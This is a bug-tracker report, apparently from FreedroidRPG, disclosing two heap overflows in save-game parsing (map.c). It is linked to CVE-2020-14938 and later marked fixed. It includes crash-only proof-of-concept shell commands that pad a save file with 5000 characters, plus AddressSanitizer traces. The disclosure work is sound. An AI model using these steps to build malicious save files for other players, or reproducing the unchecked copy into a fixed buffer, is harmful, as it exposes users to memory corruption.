Issue951

Title	Heap overflow in loading untrusted save game		
Priority	release-blocker	Status	resolved
Assigned To	fluzz	Keywords	
Linked issues	CVE-2020-14938: An issue was discovered in map.c View: 968	Watchers	fluzz

Submitted on **2019-07-25 13h59** by **mmmds**, last changed by **fluzz**.

Messages

Author: mmmds **Date: 2019-07-25 13h59**

```
This issue assumes that users may load malicious save games, for example downloaded or
received from other users.

There are fixed size buffers which can be overrun if save game file contains more than
4096 characters between
"beginning_of_map" and '\n' or between '' and '\n'.


Case 1:
map.c, static char *decode_map(level *loadlevel, char *data)

825     this_line = (char *)MyMalloc(4096); <- fixed size buffer
(...)
837             while (map_begin[curlinepos + nlpos] != '\n') <- increases nlpos until
meets new line
838                     nlpos++;
839             memcpy(this_line, map_begin + curlinepos, nlpos); <- may write data
outside the buffer


Case 2:
map.c, static char *decode_waypoints(level *loadlevel, char *data)

896   this_line = (char *)MyMalloc(4096);
(...)
902     while (wp_begin[curlinepos + nlpos] != '\n')
903       nlpos++;
904     memcpy(this_line, wp_begin + curlinepos, nlpos);



PoC case 1: 5000 'A' characters are added after "beginning_of_map" in a save game

cd ~/.freedroid_rpg
CH="mmm"
mv $CH.shp $CH.gz
gunzip $CH.gz
sed -i -e "0,/beginning_of_map/s/beginning_of_map/beginning_of_map `python -c 'print
\"A\" * 5000'`/" $CH
gzip $CH
mv $CH.gz $CH.shp


PoC case 2: 5000 'A' characters are added after "wp" in a save game

cd ~/.freedroid_rpg
CH="mmm"
mv $CH.shp $CH.gz
gunzip $CH.gz
sed -i -e "0,/wp/s/wp/wp `python -c 'print \"A\" * 5000'`/" $CH
gzip $CH
mv $CH.gz $CH.shp



ASAN case 1:

==24511==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xa6583100 at pc
0xb7a1ba42 bp 0xbfe940c8 sp 0xbfe93c9c
WRITE of size 5000 at 0xa6583100 thread T0
    #0 0xb7a1ba41 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa41)
    #1 0xb7a1bc2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
    #2 0x80fc79b in decode_map /root/projects/freedroid-src/src/map.c:839
    #3 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
    #4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
    #5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
    #6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
    #7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
    #8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
    #9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
    #10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
    #11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
    #12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
    #13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
    #14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
    #15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
    #16 0xb7548636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #17 0x805c3ee  (/root/projects/freedroid-src/bin/bin/freedroidRPG+0x805c3ee)

0xa6583100 is located 0 bytes to the right of 4096-byte region [0xa6582100,0xa6583100)
allocated by thread T0 here:
    #0 0xb7a27f8e in calloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96f8e)
    #1 0x814a4fd in MyMalloc /root/projects/freedroid-src/src/text_public.c:68
    #2 0x80fc709 in decode_map /root/projects/freedroid-src/src/map.c:825
    #3 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
    #4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
    #5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
    #6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
    #7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
    #8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
    #9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
    #10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
    #11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
    #12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
    #13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
    #14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
    #15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
    #16 0xb7548636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
Shadow bytes around the buggy address:
  0x34cb05d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34cb05e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34cb05f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34cb0600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34cb0610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x34cb0620:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34cb0630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34cb0640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34cb0650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34cb0660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34cb0670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

```
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==24511==ABORTING


ASAN case 2:

==24556==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xa7c40d00 at pc
0xb7a41a42 bp 0xbfc8eaa8 sp 0xbfc8e67c
WRITE of size 5000 at 0xa7c40d00 thread T0
    #0 0xb7a41a41 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa41)
    #1 0xb7a41c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
    #2 0x80fce5c in decode_waypoints /root/projects/freedroid-src/src/map.c:904
    #3 0x80fe3dc in decode_level /root/projects/freedroid-src/src/map.c:1134
    #4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
    #5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
    #6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
    #7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
    #8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
    #9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
    #10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
    #11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
    #12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
    #13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
    #14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
    #15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
    #16 0xb756e636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #17 0x805c3ee  (/root/projects/freedroid-src/bin/bin/freedroidRPG+0x805c3ee)

0xa7c40d00 is located 0 bytes to the right of 4096-byte region [0xa7c3fd00,0xa7c40d00)
allocated by thread T0 here:
    #0 0xb7a4df8e in calloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96f8e)
    #1 0x814a4fd in MyMalloc /root/projects/freedroid-src/src/text_public.c:68
    #2 0x80fcd99 in decode_waypoints /root/projects/freedroid-src/src/map.c:896
    #3 0x80fe3dc in decode_level /root/projects/freedroid-src/src/map.c:1134
    #4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
    #5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
    #6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
    #7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
    #8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
    #9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
    #10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
    #11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
    #12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
    #13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
    #14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
    #15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
    #16 0xb756e636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
Shadow bytes around the buggy address:
  0x34f88150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34f88160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34f88170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34f88180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x34f88190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x34f881a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34f881b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34f881c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34f881d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34f881e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x34f881f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==24556==ABORTING
```

Author: fluzz **Date:** 2020-06-29 13h50

see issue968

Author: fluzz **Date:** 2021-11-13 22h29

Fixed by commit 17711a426

Author: fluzz **Date:** 2021-12-24 10h35

Fixed in commit 17711a4268

History

Date	User	Action	Args
2021-12-24 10:35:35	fluzz	set	messages: + msg3723
2021-11-13 22:29:54	fluzz	set	status: open -> resolved messages: + msg3720
2021-11-13 16:55:47	fluzz	link	issue968 linked
2021-11-13 16:55:45	fluzz	set	linked: + CVE-2020-14938: An issue was discovered in map.c
2021-11-05 10:52:31	fluzz	set	priority: bug -> release-blocker
2020-06-29 13:50:28	fluzz	set	assignedto: fluzz messages: + msg3694 nosy: + fluzz
2019-07-25 13:59:09	mmmds	create	